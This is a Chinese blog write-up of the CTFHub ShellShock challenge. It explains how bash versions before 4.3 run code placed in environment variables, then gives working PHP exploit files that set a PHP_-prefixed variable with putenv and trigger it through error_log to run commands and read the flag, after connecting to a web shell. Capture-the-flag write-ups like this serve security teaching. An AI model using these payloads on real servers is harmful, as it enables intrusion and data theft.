CTFHub ShellShock wp(详解)

本文介绍了ShellShock攻击原理,如何在旧版bash中利用环境变量执行代码,以及在PHP中通过`putenv`和安全模式限制下的环境变量利用方法,展示了通过上传文件和shellshock漏洞实现的文件操作和获取flag的过程。
摘要由CSDN通过智能技术生成

什么是SHellShock

个人理解:当一个环境变量以"() {"开头时,bash会将该环境变量解析为函数进行执行

什么是ShellShock攻击? (zhihu.com)icon-default.png?t=N7T8https://www.zhihu.com/tardis/zm/art/35579956?source_id=1005

 验证是否存在ShellShock漏洞(漏洞存在于bash<4.3之前的版本。)

env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
//若存在漏洞时会打印vulnerable

 解题

首先还是先使用蚁剑连接,但会发现报错,最后发现是因为编码器的选择不能是default和rot13,选择其他如base64,连接成功(具体原因暂时没有找到资料,欢迎大家在评论区告知)

连接成功后,发现只能访问/var/www/html目录,其他目录无访问权限

尝试在终端执行命令,发现返回ret=127,无法执行命令

所以上传文件,借助shellshock漏洞,这里编写feng.php

查看phpinfo()时发现safe_mode_allowed_env_vars为PHP_,所以在feng.php中,环境变量的名称为PHP_自定义(可在安全模式 « PHP Manual | PHP 中文手册查看safe_mode_allowed_env_vars含义)

PHP里的某些函数(例如:mail()、imap_mail())能调用popen或其他能够派生bash子进程的函数,可以通过这些函数来触shellshock执行命令

<?php 
   putenv("PHP_hy=() { :; }; ls / >> /var/www/html/test"); 
   //这里设置环境变量时只要前缀是PHP_即可
   //利用shellshock漏洞,执行ls /命令,建立test文件,将结果保存在test中
   error_log('',1,'','');
   //查看phpinfo,发现mail函数被禁用,error_log可用,所以在这里使用error_log,在message_type设置为1的时候,使用mail()的同一个内置函数。
   echo 'ok';//便于判断是否运行成功
?>

上传文件后,在浏览器访问feng.php

在/var/www/html目录下得到test文件,在test文件中得到根目录,在根目录中发现readflag与flag文件

更改feng.php内容,改为查看readflag文件,发现readflag是一个shell文件,所以运行readflag文件

<?php 
   putenv("PHP_hy=() { :; }; cat /readflag >> /var/www/html/test"); 
   error_log('',1,'','');
   echo 'ok';
?>

得到flag

<?php 
   putenv("PHP_hy=() { :; }; /readflag >> /var/www/html/test"); 
   error_log('',1,'','');
   echo 'ok';
?>

补充:因为readflag中内容为tac /flag,所以也可以不运行readflag文件,直接访问flag文件

<?php 
   putenv("PHP_hy=() { :; }; tac /flag >> /var/www/html/test"); 
   error_log('',1,'','');
   echo 'ok';
?>

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值